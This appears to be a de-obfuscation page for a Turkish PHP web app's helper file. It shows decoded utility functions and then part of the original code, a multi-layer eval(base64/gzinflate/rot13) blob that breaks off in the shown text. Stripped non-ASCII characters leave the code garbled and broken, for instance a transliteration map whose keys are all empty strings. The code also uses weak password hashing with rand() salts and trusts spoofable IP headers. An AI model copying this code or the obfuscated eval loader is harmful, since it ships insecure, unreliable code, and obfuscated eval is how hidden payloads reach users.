    return '<div class="alert alert-success shadow w-100"> 
                           ' . $suc . ' 
                        </div>'; 
} 
 
function getRoute($route, $options = array()) 
{ 
    return str_replace(array('(:any)', '(:num)'), array($options['any'] ?? null, $options['num'] ?? null), $route); 
} 
 
function filteredContent($content, $st = true) 
{ 
    if ($st) { 
        return htmlspecialchars(trim(strip_tags($content))); 
    } else { 
        return trim(strip_tags($content)); 
    } 
} 
 
function getIP() 
{ 
    if (getenv("HTTP_CLIENT_IP")) { 
        $ip = getenv("HTTP_CLIENT_IP"); 
    } else if (getenv("HTTP_X_FORWARDED_FOR")) { 
        $ip = getenv("HTTP_X_FORWARDED_FOR"); 
        if (strstr($ip, ",")) { 
            $tmp = explode(",", $ip); 
            $ip = trim($tmp[0]); 
        } 
    } else { 
        $ip = getenv("REMOTE_ADDR"); 
    } 
    return $ip; 
} 
function checkReCaptchaStatus($field = null, $checkStatus = false): bool 
{ 
    $a = get_instance(); 
 
    // nce reCaptcha ak m bakalm. 
    $isOpen = $a->db->query('SELECT reCaptchaStatus FROM Settings')->row_array(); 
    if($checkStatus) { 
        if($isOpen['reCaptchaStatus']) return true; 
    } 
    if(!$isOpen['reCaptchaStatus']) return false; 
 
    if(!$checkStatus) { 
        // Alan kontrol edelim. 
        $getJson = json_decode($a->db->query('SELECT reCaptchaFields FROM Settings')->row_array()['reCaptchaFields'], true); 
        if($getJson[$field] == '1') return true; 
    } 
 
    return false; 
} 
function kisalt($kelime, $str = 10) 
{ 
    if (strlen($kelime) > $str) { 
        if (function_exists("mb_substr")) $kelime = mb_substr($kelime, 0, $str, "UTF-8") . '..'; 
        else $kelime = substr($kelime, 0, $str) . '..'; 
    } 
    return $kelime; 
} 
 
function timeConverter($date, $type = 0, $hour = false, $minute = false, $seconds = false) 
{ 
    if ($type == 2) { 
        $date = str_replace('/', '-', $date); 
        $date = strtotime($date); 
    } else { 
        $date = strtotime($date); 
    } 
 
    if ($type == 0) { 
        if ($hour == true) { 
            if ($minute == true) { 
                if ($seconds == true) { 
                    return date("d/m/Y H:i:s", $date); 
                } else { 
                    return date("d/m/Y H:i", $date); 
                } 
            } else { 
                return date("d/m/Y H", $date); 
            } 
        } else { 
            return date("d/m/Y", $date); 
        } 
    } elseif ($type == 1) { 
        $month = date("F", $date); 
        $months = array( 
            'January' => 'Ocak', 
            'February' => 'ubat', 
            'March' => 'Mart', 
            'April' => 'Nisan', 
            'May' => 'Mays', 
            'June' => 'Haziran', 
            'July' => 'Temmuz', 
            'August' => 'Austos', 
            'September' => 'Eyll', 
            'October' => 'Ekim', 
            'November' => 'Kasm', 
            'December' => 'Aralk', 
            'Jan' => 'Oca', 
            'Feb' => 'ub', 
            'Mar' => 'Mar', 
            'Apr' => 'Nis', 
            'May' => 'May', 
            'Jun' => 'Haz', 
            'Jul' => 'Tem', 
            'Aug' => 'Au', 
            'Sep' => 'Eyl', 
            'Oct' => 'Eki', 
            'Nov' => 'Kas', 
            'Dec' => 'Ara' 
        ); 
        $month = strtr($month, $months); 
        if ($hour == true) { 
            if ($minute == true) { 
                if ($seconds == true) { 
                    return date("d", $date) . " " . $month . " " . date("Y H:i:s", $date); 
                } else { 
                    return date("d", $date) . " " . $month . " " . date("Y H:i", $date); 
                } 
            } else { 
                return date("d", $date) . " " . $month . " " . date("Y H", $date); 
            } 
        } else { 
            return date("d", $date) . " " . $month . " " . date("Y", $date); 
        } 
    } elseif ($type == 2) { 
        if ($hour == true) { 
            if ($minute == true) { 
                if ($seconds == true) { 
                    return date("Y-m-d H:i:s", $date); 
                } else { 
                    return date("Y-m-d H:i", $date); 
                } 
            } else { 
                return date("Y-m-d H", $date); 
            } 
        } else { 
            return date("Y-m-d", $date); 
        } 
    } else { 
        return date("Y-m-d H:i:s", $date); 
    } 
} 
 
function permalink($str, $options = array()) 
{ 
    $str = mb_convert_encoding((string)$str, 'UTF-8', mb_list_encodings()); 
    $defaults = array( 
        'delimiter' => '-', 
        'limit' => null, 
        'lowercase' => true, 
        'replacements' => array(), 
        'transliterate' => true 
    ); 
    $options = array_merge($defaults, $options); 
    $char_map = array( 
        // Latin 
        '' => 'A', '' => 'A', '' => 'A', '' => 'A', '' => 'A', '' => 'A', '' => 'AE', '' => 'C', 
        '' => 'E', '' => 'E', '' => 'E', '' => 'E', '' => 'I', '' => 'I', '' => 'I', '' => 'I', 
        '' => 'D', '' => 'N', '' => 'O', '' => 'O', '' => 'O', '' => 'O', '' => 'O', '' => 'O', 
        '' => 'O', '' => 'U', '' => 'U', '' => 'U', '' => 'U', '' => 'U', '' => 'Y', '' => 'TH', 
        '' => 'ss', 
        '' => 'a', '' => 'a', '' => 'a', '' => 'a', '' => 'a', '' => 'a', '' => 'ae', '' => 'c', 
        '' => 'e', '' => 'e', '' => 'e', '' => 'e', '' => 'i', '' => 'i', '' => 'i', '' => 'i', 
        '' => 'd', '' => 'n', '' => 'o', '' => 'o', '' => 'o', '' => 'o', '' => 'o', '' => 'o', 
        '' => 'o', '' => 'u', '' => 'u', '' => 'u', '' => 'u', '' => 'u', '' => 'y', '' => 'th', 
        '' => 'y', 
        // Latin symbols 
        '' => '(c)', 
        // Greek 
        '' => 'A', '' => 'B', '' => 'G', '' => 'D', '' => 'E', '' => 'Z', '' => 'H', '' => '8', 
        '' => 'I', '' => 'K', '' => 'L', '' => 'M', '' => 'N', '' => '3', '' => 'O', '' => 'P', 
        '' => 'R', '' => 'S', '' => 'T', '' => 'Y', '' => 'F', '' => 'X', '' => 'PS', '' => 'W', 
        '' => 'A', '' => 'E', '' => 'I', '' => 'O', '' => 'Y', '' => 'H', '' => 'W', '' => 'I', 
        '' => 'Y', 
        '' => 'a', '' => 'b', '' => 'g', '' => 'd', '' => 'e', '' => 'z', '' => 'h', '' => '8', 
        '' => 'i', '' => 'k', '' => 'l', '' => 'm', '' => 'n', '' => '3', '' => 'o', '' => 'p', 
        '' => 'r', '' => 's', '' => 't', '' => 'y', '' => 'f', '' => 'x', '' => 'ps', '' => 'w', 
        '' => 'a', '' => 'e', '' => 'i', '' => 'o', '' => 'y', '' => 'h', '' => 'w', '' => 's', 
        '' => 'i', '' => 'y', '' => 'y', '' => 'i', 
        // Turkish 
        '' => 'S', '' => 'I', '' => 'C', '' => 'U', '' => 'O', '' => 'G', 
        '' => 's', '' => 'i', '' => 'c', '' => 'u', '' => 'o', '' => 'g', 
        // Russian 
        '' => 'A', '' => 'B', '' => 'V', '' => 'G', '' => 'D', '' => 'E', '' => 'Yo', '' => 'Zh', 
        '' => 'Z', '' => 'I', '' => 'J', '' => 'K', '' => 'L', '' => 'M', '' => 'N', '' => 'O', 
        '' => 'P', '' => 'R', '' => 'S', '' => 'T', '' => 'U', '' => 'F', '' => 'H', '' => 'C', 
        '' => 'Ch', '' => 'Sh', '' => 'Sh', '' => '', '' => 'Y', '' => '', '' => 'E', '' => 'Yu', 
        '' => 'Ya', 
        '' => 'a', '' => 'b', '' => 'v', '' => 'g', '' => 'd', '' => 'e', '' => 'yo', '' => 'zh', 
        '' => 'z', '' => 'i', '' => 'j', '' => 'k', '' => 'l', '' => 'm', '' => 'n', '' => 'o', 
        '' => 'p', '' => 'r', '' => 's', '' => 't', '' => 'u', '' => 'f', '' => 'h', '' => 'c', 
        '' => 'ch', '' => 'sh', '' => 'sh', '' => '', '' => 'y', '' => '', '' => 'e', '' => 'yu', 
        '' => 'ya', 
        // Ukrainian 
        '' => 'Ye', '' => 'I', '' => 'Yi', '' => 'G', 
        '' => 'ye', '' => 'i', '' => 'yi', '' => 'g', 
        // Czech 
        '' => 'C', '' => 'D', '' => 'E', '' => 'N', '' => 'R', '' => 'S', '' => 'T', '' => 'U', 
        '' => 'Z', 
        '' => 'c', '' => 'd', '' => 'e', '' => 'n', '' => 'r', '' => 's', '' => 't', '' => 'u', 
        '' => 'z', 
        // Polish 
        '' => 'A', '' => 'C', '' => 'e', '' => 'L', '' => 'N', '' => 'o', '' => 'S', '' => 'Z', 
        '' => 'Z', 
        '' => 'a', '' => 'c', '' => 'e', '' => 'l', '' => 'n', '' => 'o', '' => 's', '' => 'z', 
        '' => 'z', 
        // Latvian 
        '' => 'A', '' => 'C', '' => 'E', '' => 'G', '' => 'i', '' => 'k', '' => 'L', '' => 'N', 
        '' => 'S', '' => 'u', '' => 'Z', 
        '' => 'a', '' => 'c', '' => 'e', '' => 'g', '' => 'i', '' => 'k', '' => 'l', '' => 'n', 
        '' => 's', '' => 'u', '' => 'z' 
    ); 
    $str = preg_replace(array_keys($options['replacements']), $options['replacements'], $str); 
    if ($options['transliterate']) { 
        $str = str_replace(array_keys($char_map), $char_map, $str); 
    } 
    $str = preg_replace('/[^\p{L}\p{Nd}]+/u', $options['delimiter'], $str); 
    $str = preg_replace('/(' . preg_quote($options['delimiter'], '/') . '){2,}/', '$1', $str); 
    $str = mb_substr($str, 0, ($options['limit'] ? $options['limit'] : mb_strlen($str, 'UTF-8')), 'UTF-8'); 
    $str = trim($str, $options['delimiter']); 
    return $options['lowercase'] ? mb_strtolower($str, 'UTF-8') : $str; 
} 
 
function generateSalt($length) 
{ 
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $randomString = ''; 
    for ($i = 0; $i < $length; $i++) { 
        $randomString .= $characters[rand(0, strlen($characters) - 1)]; 
    } 
    return $randomString; 
} 
 
function createSHA256($password) 
{ 
    $salt = generateSalt(16); 
    $hash = '$SHA$' . $salt . '$' . hash('sha256', hash('sha256', $password) . $salt); 
    return $hash; 
} 
 
function checkSHA256($password, $realPassword) 
{ 
    $parts = explode('$', $realPassword); 
    $salt = $parts[2]; 
    $hash = hash('sha256', hash('sha256', $password) . $salt); 
    $hash = '$SHA$' . $salt . '$' . $hash; 
    return $hash == $realPassword; 
} 
 
function adminView($path) 
{ 
    return 'dashboard/' . $path; 
} 
 
function getRole($accountID) 
{ 
    $a = get_instance(); 
    $getUserRole = $a->db->where('accountID', $accountID)->get('AccountRoles')->row_array() or $getUserRole['roleID'] = 1; 
    $getRole = $a->db->where('id', $getUserRole['roleID'])->get('Roles')->row_array(); 
    return $getRole['name'] ?? "ye"; 
} 
 
function checkPerm($perm, $accountID = null, $permID = null) 
{ 
    $a = get_instance(); 
    if (!$a->session->has_userdata("id")) { 
        return false; 
    } 
    $accountID = $accountID !== null ? $accountID : $a->session->userdata('id'); 
    $getUserRole = $a->db->where('accountID', $accountID)->get('AccountRoles')->row_array() or $getUserRole['roleID'] = 1; 
    if ($permID !== null) { 
        $getPermission = $a->db->where('id', $permID)->get('Permissions')->row_array(); 
    } else { 
        $getPermission = $a->db->where('name', $perm)->get('Permissions')->row_array(); 
    } 
    $checkUserPerms = $a->db->where(array('roleID' => $getUserRole['roleID'], 'permission' => $getPermission['id']))->get('RolePermissions'); 
    $hasAllPerm = $a->db->where(array('roleID' => $getUserRole['roleID'], 'permission' => 1))->get('RolePermissions'); 
    if ($hasAllPerm->num_rows() > 0) { 
        return true; 
    } 
    if ($checkUserPerms->num_rows() > 0) { 
        return true; 
    } else { 
        return false; 
    } 
} 
 
function addULog($page, $event) 
{ 
    $a = get_instance(); 
    $ip = getIP(); 
    $staffID = $a->session->userdata("id"); 
 
    // Veritabanna aktar 
    $staffData = array( 
        'ip' => $ip, 
        'staffID' => $staffID, 
        'page' => $page, 
        'event' => $event 
    ); 
    $a->db->insert("StaffLogs", $staffData); 
} 
 
function addVLog($event) 
{ 
    $a = get_instance(); 
    $ip = getIP(); 
    if ($a->session->has_userdata('id')) { 
        $userID = $a->session->userdata("id"); 
    } else { 
        $userID = NULL; 
    } 
 
    $getcontent = @file_get_contents('http://ip-api.com/json/' . $ip); 
    if($getcontent !== FALSE) { 
        $response = json_decode($getcontent, true); 
 
        // Veritabanna aktaralm. 
        $insertData = array( 
            'ip' => $ip, 
            'userID' => $userID, 
            'city' => @$response['regionName'] ?? "Bilinmiyor", 
            'country' => @$response['country'] ?? "Bilinmiyor", 
            'event' => $event 
        ); 
        $a->db->insert('UserLogs', $insertData); 
    } 
} 
 
function verified($permission, $type) 
{ 
    if ($type == 1) { 
        if (in_array($permission, array(1, 2))) { 
            return true; 
        } else { 
            return false; 
        } 
    } elseif ($type == 2) { 
        if ($permission == 1) return "Ynetici"; 
        elseif ($permission == 2) return "Moderatr"; 
    } 
    return false; 
} 
 
function sendWebhook($options = []) 
{ 
 
    $a = get_instance(); 
    $getWebhook = $a->db->select('webhookSettings')->get('Settings')->row_array(); 
    $settings = json_decode($getWebhook['webhookSettings'], true); 
    $timestamp = date("c", strtotime("now")); 
    $array = [ 
        "embeds" => [ 
            [ 
                "title" => $options['title'], 
                "description" => $options['description'], 
                "url" => $options['url'], 
                "color" => $options['color'], 
                "fields" => [ 
                    [ 
                        "name" => "Balant", 
                        "value" => "[" . $options['fieldView'] . "](" . $options['url'] . ")", 
                        "inline" => true 
                    ], 
                    [ 
                        "name" => "Tarih", 
                        "value" => timeConverter(date("Y-m-d H:i:s"), true, true, true), 
                        "inline" => true 
                    ], 
                    [ 
                        "name" => "IP", 
                        "value" => getIP(), 
                        "inline" => true 
                    ] 
                ], 
                "footer" => [ 
                    "text" => "Portfaria v" . $a->config->item('portfaria_version'), 
                    "icon_url" => __URI__ . "/assets/img/favicon.png" 
                ], 
                "timestamp" => $timestamp 
            ] 
        ] 
    ]; 
    if ($settings[$options['type']]['everyone'] == "true") { 
        $array['content'] = "@everyone"; 
    } 
    if ($options['type'] == 'blog' || $options['type'] == 'comment') { 
        $array['embeds'][0]['image']['url'] = __URI__ . "/assets/img/news/" . $options['imageID'] . ".png"; 
    } elseif ($options['type'] == 'product') { 
        $array['embeds'][0]['image']['url'] = "https://i.pinimg.com/originals/f2/12/4e/f2124e83e9fd8ddeb31ac7cdb59f544c.jpg"; 
    } 
 
    if ($options['type'] == 'product' || $options['type'] == 'credit') { 
        $array['avatar_url'] = "https://i.pinimg.com/originals/f2/12/4e/f2124e83e9fd8ddeb31ac7cdb59f544c.jpg"; 
    } 
    $json = json_encode($array, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); 
 
    $ch = curl_init($settings[$options['type']]['url']); 
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json')); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $json); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
 
    $response = curl_exec($ch); 
    curl_close($ch); 
} 
 
?> 

Did this file decode correctly?

Original Code

<?php
require __ROOT__ . "/application/config/status.php";
require __ROOT__ . '/application/libraries/PHPMailer/Exception.php';
require __ROOT__ . '/application/libraries/PHPMailer/PHPMailer.php';
require __ROOT__ . '/application/libraries/PHPMailer/SMTP.php';
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

// Eval koduna mdahelede bulunmayn, nemli fonksiyonlar ieriyor.
eval(str_rot13(gzinflate(str_rot13(base64_decode('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